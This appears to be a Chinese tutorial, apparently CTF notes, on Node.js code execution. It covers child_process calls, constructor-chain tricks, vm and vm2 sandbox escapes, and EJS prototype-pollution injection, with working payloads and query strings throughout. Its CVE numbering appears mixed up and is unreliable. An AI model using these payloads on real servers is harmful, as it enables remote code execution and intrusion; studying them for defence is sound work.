RCE
js与php类似,执行命令需要使用执行函数,常用的有
eval("js代码"); // 执行js代码
setTimeout("js代码", 延迟时间); // 延迟执行js代码
setInterval("js代码", 间隔时间); // 每隔一段时间执行js代码
Function("console.log('HelloWolrd')")(); // 通过Function构造函数创建一个新的函数并执行
一般执行RCE需要我们使用child_process模块下的exec函数,它会调用bash执行命令并返回结果
require('child_process').exec('code').toString();
由于exec调用的是shell,回显结果默认为buffer二进制流,需要使用toString()方法将其转换为字符串格式
关于toString()还有以下用法:
num.toString(16) 进制转化 const fruits = ["苹果", "香蕉", "橙子"]; console.log(fruits.toString()); // 输出: "苹果,香蕉,橙子"
需要注意的是js默认输出编码为utf-8,而中文系统CLI默认编码为gbk,需要使用iconv-lite模块进行编码转换
(function(args){
const buf = require('child_process').execSync(args);
console.log(require('iconv-lite').decode(buf, 'cp936'));
})('dir');
.exec和.execSync的区别在于前者是异步执行,后者是同步执行。execSync会阻塞代码执行直到命令执行完成并返回结果
有时候会ban你require的使用。在这种情况下,我们需要跳出当前环境
process.mainModule.require('child_process').exec('code');
process是当前js进程的全局对象,mainModule指向该对象主模块,这是底层原生的
global/globalThis是全局命名空间对象,process就是里面的属性。所以一般我们习惯在process里加上global指代全局而不是某个局部作用域的process
但通常沙箱环境的上下文process也不会去给。这里我们又要运用到js原型的知识
[].constructor.constructor('return process.mainModule.require("child_process").execSync("whoami").toString()')()
{}指代对象(也可以换成[],"")。他的上一层是Object,而Object的上一层是Function。Function是构造js底层的构造函数,我们让他把process返回出来
再探究底层一点,其实MainModule也有原型:Module类。内部有私有方法_load(),require()本质上也是调用这个方法使用的
process.mainModule.constructor._load('child_process').exec('calc')
vm沙箱逃逸
vm
刚刚提到了上下文(context),就是vm模块的作用环境,这里用简单的代码演示context如何运作
const vm = require('vm');
const context = { x: 1 }; //上下文把变量x设置为1
vm.createContext(context); // 创建一个新的上下文
vm.runInContext('x += 1; var y = 2;', context); // 在上下文中运行代码
console.log(context.x); // 输出: 2
console.log(context.y); // 输出: 2
而vm沙箱默认将context置空,导致其无法访问全局对象和模块,无法直接调用require等函数。
const vm = require("vm");
// const context = {};
vm.createContext(context);
const xyz = vm.runInNewContext(`...`);
console.log(xyz);
注意这里的context,在沙箱里其实也算作一个对象。而沙箱里的this也是指代该对象。所以rce的payload也可以这么写
const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()
同样适用的还有第三方库safe-eval(version<0.4.0)
vm2
vm2是一个第三方模块,相当于vm的升级版,内部采用了proxy来进行控制访问。proxy是js的一个内置对象,可以用来定义基本操作的自定义行为,比如属性查找、赋值、枚举、函数调用等
这时候再写this.constructor就不行了,因为vm2默认会给context设置了proxy过滤了此操作
不过vm2百密一疏,它捕获的error对象是不被包括在沙盒内的。我们可以用try...catch捕获error对象,并从中获取到全局对象
try {
this.process.removeListener();
// removeListener()必须要传参,否则会抛出异常
}
catch (host_exception) {
console.log('host exception: ' + host_exception.toString());
host_constructor = host_exception.constructor.constructor;
host_process = host_constructor('return this.process')();
child_process = host_process.mainModule.require("child_process");
console.log(child_process.execSync("whoami").toString());
}
js沙箱逃逸的应用
EJS
EJS 的全称是 Embedded JavaScript templating(嵌入式 JavaScript 模板)。在前端和 Node.js 后端(特别是配合 Express 框架,通过 Express 路由中的 res.render('viewName', localsObject) 方法,后端将数据对象(locals)传递给 EJS 模板,模板内的变量直接对应对象属性,实现逻辑与视图的解耦),它是最受欢迎的模板引擎之一,它允许你在 HTML 里直接写原生的 JavaScript 代码
- 表达式
ejs.render(template, data): 属于 EJS 渲染引擎模块,仅返回渲染后的字符串。需手动发送(如res.send())。接受一个 字符串模板 和 变量对象。易触发直接 SSTI。ejs会把接受的变量转换成以下格式:
<%= variable %> //(转义输出,安全)
<%- variable %> //(不转义,可用于执行js代码),比如
<%- global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>
<% if (user) { %> ... <% } %> 执行代码
- 原型链污染导致的 SSTI
res.render('viewName', { userInput: userInput }):属于Express 框架。接受.ejs模板文件,自动发送 HTTP 响应。有原型链污染注入
Express在调用EJS渲染时,可以通过settings对象的view options属性自定义render配置
{ settings: { 'view options': { ... } } }
默认情况下,Express 支持 querystring 解析 URL 查询参数,并将其转换为一个对象。在res.render中,这个对象会被传递给 EJS 模板作为数据源。如果攻击者能够控制这个对象的原型链,就可以在 EJS 渲染时注入恶意代码
我们讲两个典型的CVE,要了解这两个CVE就要搞懂EJS渲染原理
EJS渲染时会把模板转换成字符串,然后EJS 会使用 JavaScript 内置的 new Function() 构造器,将这段纯字符串变成一个可执行的函数anonymous,调用并返回
CVE-2021-24018:EJS < 3.1.6
EJS 在编译时,会根据一个配置参数 opts.outputFunctionName 允许开发者修改模板编译内部用于拼接输出字符串的变量名
var prepended = '';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;\n';
}
如果我们通过原型链污染给 Object.prototype 塞入一个恶意的 outputFunctionName,然后通过qs解析器传递给res.render('viewName',req.query)使其添加在anonymous中,使其改变ejs解析方式:
GET /?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');//
// 这里的//是为了注释掉后面的 = __append
就成了
function anonymous(locals, escapefn, include, rethrow) {
var x;process.mainModule.require('child_process').execSync('id');// = __append;
// ... 后续渲染代码 ...
}
当 EJS 再次渲染任何一个正常模板时,这段恶意的 JS 代码被执行
CVE-2022-29078:EJS < 3.1.7
CVE-2021-24018出现后,ejs开发者赶紧给outputFunctionName加了正则,但他忽略了另一个参数 escapeFunction ,于是就有了CVE-2022-29078
escapeFunction 是 EJS 内部用于转义输出的函数名,当开启 client: true 模式编译模板时,EJS 会把 escapeFunction 的内容拼接到anonymous里
if (opts.client) {
src += ' var escapefn = ' + opts.escapeFunction + ';\n';
}
function anonymous(locals, escapefn, include, rethrow) {
var escapefn = ejs.escapeXML;
}
同理
GET /?settings[view options][client]=true&settings[view options][escapeFunction]=process.mainModule.require('child_process').execSync('id')
